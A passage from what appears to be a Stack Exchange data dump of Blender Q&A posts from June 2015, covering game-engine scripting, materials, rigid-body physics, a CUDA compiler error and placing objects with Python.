src=&quot;https://i.stack.imgur.com/GVTqH.jpg&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) To make the object that gets triggered invisible, we need an object that sens a message &quot;DontShow&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbGOq.jpg&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Product&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am sorry if I was difficult to understand in any of this, and I don't know if I was, so I've created an example .blend which can be found &lt;a href=&quot;http://www.pasteall.org/blend/36614&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. For the .blend file, when you collide with the pink object, a green sphere appears in the HUD. When you press &lt;code&gt;Spacebar&lt;/code&gt;, it disappears. Hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-06-18T05:31:01.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32627" PostTypeId="2" ParentId="32619" CreationDate="2015-06-18T06:25:16.950" Score="5" Body="&lt;p&gt;Try subdividing a plane 20 times manually by successively hitting W -&gt;Subdivide. You won't get past iteration 9 (or 10, 11.. maybe 12) before your machine starts to break out in a sweat. This isn't so much a Python problem as misunderstanding about what subdivide does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default single cut per subdivide turns each face into 4 faces. here a short snippet to print out the numbers involved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prev = [1]&#xA;&#xA;for i in range(20):&#xA;    last = prev[-1] * 4    &#xA;    print(i+1, prev[-1], '-&amp;gt;', last)&#xA;    prev.append(last)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs (here &lt;code&gt;-&amp;gt;&lt;/code&gt; means subdivide):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 1 -&amp;gt; 4&#xA;2 4 -&amp;gt; 16&#xA;3 16 -&amp;gt; 64&#xA;4 64 -&amp;gt; 256&#xA;5 256 -&amp;gt; 1024&#xA;6 1024 -&amp;gt; 4096&#xA;7 4096 -&amp;gt; 16384&#xA;8 16384 -&amp;gt; 65536&#xA;9 65536 -&amp;gt; 262144&#xA;10 262144 -&amp;gt; 1048576&#xA;11 1048576 -&amp;gt; 4194304&#xA;12 4194304 -&amp;gt; 16777216&#xA;13 16777216 -&amp;gt; 67108864&#xA;14 67108864 -&amp;gt; 268435456&#xA;15 268435456 -&amp;gt; 1073741824&#xA;16 1073741824 -&amp;gt; 4294967296&#xA;17 4294967296 -&amp;gt; 17179869184&#xA;18 17179869184 -&amp;gt; 68719476736&#xA;19 68719476736 -&amp;gt; 274877906944&#xA;20 274877906944 -&amp;gt; 1099511627776&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after 20 iterations you would have 1 099 511 627 776 faces.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-18T09:39:54.067" LastActivityDate="2015-06-18T09:39:54.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32628" PostTypeId="2" ParentId="32520" CreationDate="2015-06-18T07:00:39.427" Score="7" Body="&lt;p&gt;You had a solid foundation already with how you set up the procedural textures.  You were mostly there, the main issue with your material is  the cracks are a lighter color and the main surface is the darker color; that's backwards. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that color multiplying for the material's foundation is trouble. &#xA;Multiplying black and white is very predictable:  lighter colors become lighter and the darker color become darker.&#xA;When multiplying color gradients against color gradients, it's difficult to predict what will happen across the entire range of colors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the main 'crevices' node group that you made is converted to grayscale, and the tones are inverted, it looks more like the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DQNLy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a tip on getting the color tones closer to the reference image.  When hovering over color fields in Blender, you can press &lt;kbd&gt;e&lt;/kbd&gt; to access the eye dropper tool.  Now you should be able to click just about anywhere else to sample that color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iqGBh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In several places, a small &lt;em&gt;Noise&lt;/em&gt; texture node group was added and is being used to exaggerate and washout the the various procedural textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one instance, the cracks are darkened and deepened where the noise is darkest.  Towards the end of the material, a similar group is being used to color the surface with darker blobs that show in the reference image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNk8z.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Separating the bump mapping(Material Output Displacement socket) into distinct operations allows you to control the cracks separately from the overall small scale bumpiness.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6aAON.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that you should always add is a proper sky material, even if it's just a flat color.  The .blend you posted has a sky output node with nothing connected to it.  Even though Cycles is designed to use default settings in conditions like this, it's still a potential error state and it's best to avoid since the environment lighting is a big part of how Cycles colors a scene. &#xA;The attached .blend uses a pure white sky(1.0, 1.0, 1.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how things are looking now.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nZSN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend.&#xA;If you have the Node Wrangler Addon enabled(included with Blender) then you can &lt;kbd&gt;ctrl-shift-click&lt;/kbd&gt; on the various nodes to isolate them and see what they look like flat shaded using the Viewport renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/284/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=284&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-18T08:32:10.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32630" PostTypeId="1" CreationDate="2015-06-18T07:59:43.033" Score="2" ViewCount="1067" Body="&lt;p&gt;Here is some code for getting a object and adding it to another scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;# to load the scene&#xA;bge.logic.addScene('Scene.001')&#xA;&#xA;#find the scene and object&#xA;&#xA;scenes = bge.logic.getSceneList()&#xA;for scene in scenes :&#xA;    if scene.name == 'Scene.001':&#xA;        player= scene.objects['player']&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;ob =bge.logic.getCurrentController().owner&#xA;ob1=scene.addObject(&quot;player&quot;,ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I play it seem that the &quot;player&quot; from the other scene is added in the camera's position of the current scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gAPbd.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14805" LastEditorUserId="2217" LastEditDate="2015-06-18T13:33:03.847" LastActivityDate="2015-07-18T13:49:15.170" Title="How to add a game object to another scene at a specific position?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32631" PostTypeId="2" ParentId="32612" CreationDate="2015-06-18T08:00:18.850" Score="0" Body="&lt;p&gt;If you click on the image in the UV editor (1 in the picture below), the name of the image pops up and if i'm correct the name is artwork_eatsheep.jpg.001.&#xA;Then open the properties tab (N). Under image you see the source (2), here you must locate the image on your computer and load it. Then it should work.&lt;img src=&quot;https://i.stack.imgur.com/kSCXR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-06-18T08:00:18.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32633" PostTypeId="1" AcceptedAnswerId="32638" CreationDate="2015-06-18T08:59:36.163" Score="7" ViewCount="551" Body="&lt;p&gt;I have a complex (i.e. irregular, concave) shape obtained by photogrammetry. Now, I'd like to put it flat on a table. How to achieve this? (It ridiculously balances &lt;em&gt;one&lt;/em&gt; point now. )&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a smart way (method, heuristic, approach) of manipulating it using Blenders' transform tools?&lt;/li&gt;&#xA;&lt;li&gt;Can it be done using physics?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(I tried using physics. It works when I choose a 'box' for collision bounds, but when I choose 'triangle mesh', it wobbles on the table and then falls throug :D ) &lt;/p&gt;&#xA;" OwnerUserId="13264" LastActivityDate="2015-06-18T11:22:41.470" Title="Put complex shape flat on the table" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32635" PostTypeId="2" ParentId="32633" CreationDate="2015-06-18T09:36:55.633" Score="3" Body="&lt;p&gt;The second comment by gandalf3 lead me to the correct answer: the Blender Game engine isn't needed anymore. I was put on the wrong track by the dominos example on the Blender wiki page (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Physics/Rigid_Bodies&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Physics/Rigid_Bodies&lt;/a&gt;). Using 'enable physics' in the properties --&gt; physics using Blender Render, I was able to drop the thing on the floor using the convex hull.&lt;/p&gt;&#xA;" OwnerUserId="13264" LastActivityDate="2015-06-18T09:36:55.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32636" PostTypeId="2" ParentId="32179" CreationDate="2015-06-18T10:09:15.517" Score="0" Body="&lt;p&gt;The bones to wich nothing is connected (free or keep offset only) can be freely rotate in edit mode: if you select your armature and in the properties tab check the &quot;axes&quot;, you can freely rotate those bones to align their axes with the world axes; in the photo i've changed the alignement of the hips of your model to match world's alignement.&#xA;This procedure, of course, changes the pivot point of the rotations, so you should move the head of the bone to the previous location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes this is not a good solution, even worse if another bone is connected to the one you want aligned. In those cases the solution is to add a new control bone, aligned with the world coordinates, and make it parent with the deform bone, so you can animate an aligned bone controlling a non aligned deform bone.&#xA;For a better use of the graph editor you should also avoid the use of quaternion rotation, wich is useful only in the cases where a bone needs to rotate in all the three axes: if you know that a bone will rotate just a little (er even better it can be locked) in one of his axes (let's say the &quot;z&quot;), choose euler rotation putting that axe in the center (I.E. euler XZY): in this way the graph editor should be more usable to edit rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in my experience, lots of animators nearly do not use the graph editor, except for choosing wich type of keyframe they want (vector, bezier, etc..) and they do their editings directly in the action editor, dopesheet and directly posing the character, also because a lot of animation is done by rotating bones and quaternion is mainly used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=c-0oBXJZwQE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=c-0oBXJZwQE&lt;/a&gt;&#xA;This is an amazing serie of tutorals to deeply understand some priciples of advanced rigging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQQmT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-18T10:09:15.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32638" PostTypeId="2" ParentId="32633" CreationDate="2015-06-18T11:22:41.470" Score="6" Body="&lt;p&gt;For simple situations you can probably get away with &lt;a href=&quot;https://blender.stackexchange.com/q/22888/599&quot;&gt;snapping&lt;/a&gt; or the &lt;a href=&quot;https://blender.stackexchange.com/q/8328/599&quot;&gt;drop to ground addon&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex situations, &lt;a href=&quot;http://blender.org/manual/physics/rigid_body/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigid body physics&lt;/a&gt; can be used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ss7sD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably use the &lt;a href=&quot;http://blender.org/manual/physics/rigid_body/properties.html#collision-shapes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;convex hull&lt;/em&gt;&lt;/a&gt; collision shape (also see &lt;a href=&quot;https://blender.stackexchange.com/q/6115/599&quot;&gt;unexpected reactions in a quiet simple rigidbody physics simulation&lt;/a&gt;), but if you need concave collisions then you'll have to use the &lt;em&gt;Mesh&lt;/em&gt; collision shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;mesh&lt;/em&gt; collision shape can be quite unstable, mesh to mesh collisions in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to mitigate this is by increase the number of simulation steps in &lt;em&gt;Properties &gt; Scene &gt; Rigid Body World&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/75UUV.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't always work completely. If you need to use the mesh collision shape, try to have it collide with a non-mesh shape if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/1811/599&quot;&gt;Tips for making Mesh Rigid-body collision shapes more stable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-18T11:22:41.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32639" PostTypeId="2" ParentId="32478" CreationDate="2015-06-18T11:24:35.980" Score="2" Body="&lt;p&gt;According to Ton Roosendaal, head of the Blender Foundation, Alembic plays a vital part in the current Gooseberry project pipeline. &lt;a href=&quot;http://www.reddit.com/r/IAmA/comments/22uu5z/i_am_ton_roosendaal_chairman_blender_foundation/&quot; rel=&quot;nofollow&quot;&gt;here's a related reddit discussion&lt;/a&gt;&#xA;Basic export of Alembic seems to work since 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then it's still to check whether the Blender-flavored .abc files play nice with XCode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alembic was introduced to transfer animated mesh deformations and camera translations from animation and simulation suites to rendering tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I overheard on twitter: Work is in progress to base many of Blenders chaching on the open source alembic library.&lt;/p&gt;&#xA;" OwnerUserId="5832" LastEditorUserId="5832" LastEditDate="2015-06-18T11:30:21.550" LastActivityDate="2015-06-18T11:30:21.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32640" PostTypeId="1" CreationDate="2015-06-18T11:46:36.407" Score="4" ViewCount="495" Body="&lt;p&gt;Is it possible to switch between the output images of two Viewer Nodes? To get the rgba values and the z-depth, i linked a Render Layer node to two Viewer Nodes (one for rgba and one for z-depth). Even if i change the name of the node, i can only access on the picture with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images['Viewer Node'].pixels&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to select the other node (and deselecting the previous one), but even then i get the same results (&lt;code&gt;bpy.data.images['Viewer Node'].pixels[0]&lt;/code&gt;) as before. I noticed, if i select the node manually in the node editor, then the result changes, but also the python log was not helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to solve this? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14054" LastActivityDate="2015-06-18T11:46:36.407" Title="Two viewer nodes, switch between output images" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32641" PostTypeId="1" CreationDate="2015-06-18T12:49:07.163" Score="2" ViewCount="1358" Body="&lt;p&gt;I'm getting the error in the title. This has some of the same problems from &lt;a href=&quot;https://blender.stackexchange.com/q/24244/1713&quot;&gt;here&lt;/a&gt;. Apparently this is an issue with an earlier version of the CUDA 6.5 toolkit, &lt;a href=&quot;https://stackoverflow.com/questions/29943010/nvcc-arch-sm-52-gives-error-value-sm-52-is-not-defined-for-option-gpu-archi&quot;&gt;as discussed here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even after installing the CUDA 7.0 toolkit, I'm still getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;/usr/local/cuda-6.0/bin/nvcc&quot; -arch=sm_52 -m64 --cubin &quot;/usr/share/blender/2.74/scripts/addons/cycles/kernel/kernel.cu&quot; -o &quot;/home/jozxyqk/.config/blender/2.74/cache/cycles_kernel_sm52_680206C327F9D352594B0E249634D211.cubin&quot; --ptxas-options=&quot;-v&quot; --use_fast_math -I&quot;/usr/share/blender/2.74/scripts/addons/cycles/kernel&quot; -DNVCC -D__KERNEL_CUDA_VERSION__=60&#xA;nvcc fatal   : Value 'sm_52' is not defined for option 'gpu-architecture'&#xA;CUDA kernel compilation failed, see console for details.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-06-18T12:49:07.163" Title="linux+cycles+cuda: nvcc fatal: Value 'sm_52' is not defined for option 'gpu-architecture'" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32642" PostTypeId="2" ParentId="32641" CreationDate="2015-06-18T12:49:07.163" Score="2" Body="&lt;p&gt;Two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The cuda-7.0 toolkit installer failed to properly set permissions, so blender can't see the &lt;code&gt;nvcc&lt;/code&gt; from the proper location.&lt;/li&gt;&#xA;&lt;li&gt;When blender can't read using the symlink &lt;code&gt;cuda&lt;/code&gt; in &lt;code&gt;/usr/local/cuda/bin/nvcc&lt;/code&gt; it seems to search for &lt;code&gt;nvcc&lt;/code&gt; using &lt;code&gt;cuda-&amp;lt;version&amp;gt;/&lt;/code&gt; instead. But it does it in the &lt;em&gt;wrong&lt;/em&gt; order, also without reporting the permission issue.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Without others-readable permissions on &lt;code&gt;/usr/local/cuda-7.0/&lt;/code&gt;, the symlink &lt;code&gt;/usr/local/cuda&lt;/code&gt; fails and blender tries &lt;code&gt;/usr/local/cuda-6.0/bin/nvcc&lt;/code&gt; even though a newer &lt;code&gt;/usr/local/cuda-6.5/bin/nvcc&lt;/code&gt; exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;solution&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod -R o+rX /usr/local/cuda-7.0/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Had no other toolkits been installed the error would have been:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;which: no nvcc in ($PATH)&#xA;CUDA nvcc compiler not found. Install CUDA toolkit in default location.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2015-06-18T12:49:07.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32643" PostTypeId="5" CreationDate="2015-06-18T13:30:18.187" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-06-18T13:30:18.187" LastActivityDate="2015-06-18T13:30:18.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32644" PostTypeId="4" CreationDate="2015-06-18T13:30:18.187" Score="0" Body="Open Computing Language (OpenCL) is a framework for writing programs that execute across heterogeneous platforms consisting of central processing units (CPUs), graphics processing units (GPUs), digital signal processors (DSPs), field-programmable gate arrays (FPGAs) and other processors." OwnerUserId="3295" LastEditorUserId="3295" LastEditDate="2015-06-18T13:49:39.903" LastActivityDate="2015-06-18T13:49:39.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32645" PostTypeId="2" ParentId="32630" CreationDate="2015-06-18T13:31:37.720" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bge.types.KX_Scene.html#bge.types.KX_Scene.addObject&quot; rel=&quot;nofollow&quot;&gt;add object&lt;/a&gt; function works by adding the new object (the first parameter) at the location of another game object (the second parameter).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these two lines you are specifying that it adds the player the at location of the object your script is on (probably your camera).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob =bge.logic.getCurrentController().owner&#xA;ob1=scene.addObject(&quot;player&quot;,ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is how to fix it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new empty, parent it to your camera if you need the player always spawning relative to the camera. If you want the player to always spawn in one spot, then do not parent the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use the new empty as the location for where you add the player. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;empty = scene.objects['Empty']&#xA;ob1 = scene.addObject(player, empty)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-18T13:31:37.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32646" PostTypeId="2" ParentId="32478" CreationDate="2015-06-18T15:06:46.410" Score="2" Body="&lt;p&gt;In a recent &lt;a href=&quot;http://www.blendernation.com/2015/06/14/blender-developer-notes-june-14-2015/&quot; rel=&quot;nofollow&quot;&gt;developer meeting (2015-06-14)&lt;/a&gt;, Ton mentions alembic as a possible addition in 2.76. Lukas Toenne has been working on adding alembic to blender for some time, you can checkout a copy of the &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/alembic/&quot; rel=&quot;nofollow&quot;&gt;alembic development branch&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow&quot;&gt;build your own copy of blender&lt;/a&gt; if you want to help test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes you should expect alembic support in blender, later this year would be a good bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As alembic was developed by &lt;a href=&quot;http://opensource.imageworks.com/&quot; rel=&quot;nofollow&quot;&gt;Sony Imageworks&lt;/a&gt; and &lt;a href=&quot;http://www.lucasfilm.com/&quot; rel=&quot;nofollow&quot;&gt;LucasFilm&lt;/a&gt; to handle transferring data in a commercial film production, you can expect it to be well supported and tested. With two big names attached to it you will find other film studios willing to make use of it, making a common industry format that will most likely be widely used in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With alembic being a recent project it has the benefit of looking back on the 10-20 years experience of using obj and collada and designing around the issues that have existed before.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-18T15:06:46.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32648" PostTypeId="1" CreationDate="2015-06-18T16:47:11.170" Score="2" ViewCount="2215" Body="&lt;p&gt;I have been assigned the task of making a 3D model from a site plan for a big wind park in Germany. I have a plane (7km X, 8km Y) long. I want a point in the left corner of the plane as a point from where I can move my windmill models with co-ordinates. Like windmill_1 2km left and 1 km up. A windmill in the left corner of the plane will have the location settings a 0;0;0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution?&#xA;Thanks in adavice.&lt;/p&gt;&#xA;" OwnerUserId="8299" LastEditorUserId="47" LastEditDate="2015-06-18T17:56:00.143" LastActivityDate="2015-06-19T10:11:43.203" Title="Placing objects using a relative coordinate system" Tags="&lt;modeling&gt;&lt;coordinates&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32649" PostTypeId="1" AcceptedAnswerId="32653" CreationDate="2015-06-18T16:55:10.657" Score="3" ViewCount="1082" Body="&lt;p&gt;How can I rotate a plane to make it have the same orientation of another plane. Until now I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;# The object to rotate&#xA;ob = bpy.context.active_object&#xA;# The object world normal vector&#xA;ob_local_normal = ob.data.polygons[0].normal&#xA;ob_world_normal = ob.matrix_world * ob_local_normal&#xA;print(ob_world_normal)&#xA;# The plane to be aligned/parallel with&#xA;pl = bpy.data.objects['Plane']&#xA;# The plane world normal vector&#xA;pl_local_normal = pl.data.polygons[0].normal&#xA;pl_world_normal = ob.matrix_world * pl_local_normal&#xA;print(pl_world_normal)&#xA;# Now I need to rotate the object...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/12314/in-python-rotate-a-polygon-to-face-something/12324#12324&quot;&gt;In Python rotate a polygon to face something&lt;/a&gt; was also helpful but I need the 2 planes beeing parallel each other.&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-19T11:15:24.230" Title="How to rotate an object from a reference plane" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32650" PostTypeId="2" ParentId="32648" CreationDate="2015-06-18T17:15:45.797" Score="2" Body="&lt;p&gt;Do this via a script, if you have the X, Y, Z coordinates of the base of each windmill, you can iterate through the list of coordinates and place a windmill at each coordinate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you make a windmill object, or a group..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils &#xA;from mathutils import Vector&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;# if you have a group named windmill&#xA;group = bpy.data.groups['windmill']&#xA;&#xA;# all coordinates will be offset by this vector, your new 'origin'.&#xA;custom_origin = Vector((3, 4, 0.2))   &#xA;&#xA;coordinates = [&#xA;    (18.2807, 9.1404, -1.2686),&#xA;    (27.4211, 9.1404, 0.9514),&#xA;    (9.1404, 9.1404, -1.11),&#xA;    (18.2807, 31.9913, 2.1671),&#xA;    (18.2807, 13.7106, 0.0),&#xA;    (18.2807, 22.8509, 1.3214),&#xA;    (27.4211, 13.7106, 2.96),&#xA;    (27.4211, 22.8509, 2.1143),&#xA;    (31.9913, 22.8509, 3.7),&#xA;    (22.8509, 22.8509, 1.3214),&#xA;    (13.7106, 22.8509, 0.0),&#xA;    (4.5702, 31.9913, 0.0),&#xA;    (22.8509, 13.7106, 2.96),&#xA;    (13.7106, 31.9913, 2.4843)&#xA;]&#xA;&#xA;for loc in coordinates:&#xA;    instance = bpy.data.objects.new('dupli_group', None)&#xA;    instance.dupli_type = 'GROUP'&#xA;    instance.dupli_group = group&#xA;    scene.objects.link(instance)&#xA;    instance.location = Vector(loc) + custom_origin  # adds them.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QxeYC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-19T10:11:43.203" LastActivityDate="2015-06-19T10:11:43.203" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32651" PostTypeId="2" ParentId="32648" CreationDate="2015-06-18T17:31:31.877" Score="2" Body="&lt;p&gt;You can parent the windmills to an empty. That way the objects will have coordinates relative to the local coords of their parent.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In edit mode, snap the 3D cursor to a vertex in the top-left corner of your plane&lt;/li&gt;&#xA;&lt;li&gt;Go back to object mode and add an empty&lt;/li&gt;&#xA;&lt;li&gt;Snap your windmill to the 3D cursor, so it's in the same position as the empty&lt;/li&gt;&#xA;&lt;li&gt;Parent the windmill to the empty&lt;/li&gt;&#xA;&lt;li&gt;Now you can change the location of the windmill relative to the corner&lt;/li&gt;&#xA;&lt;li&gt;You can add more windmills by duplicating&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-18T17:31:31.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
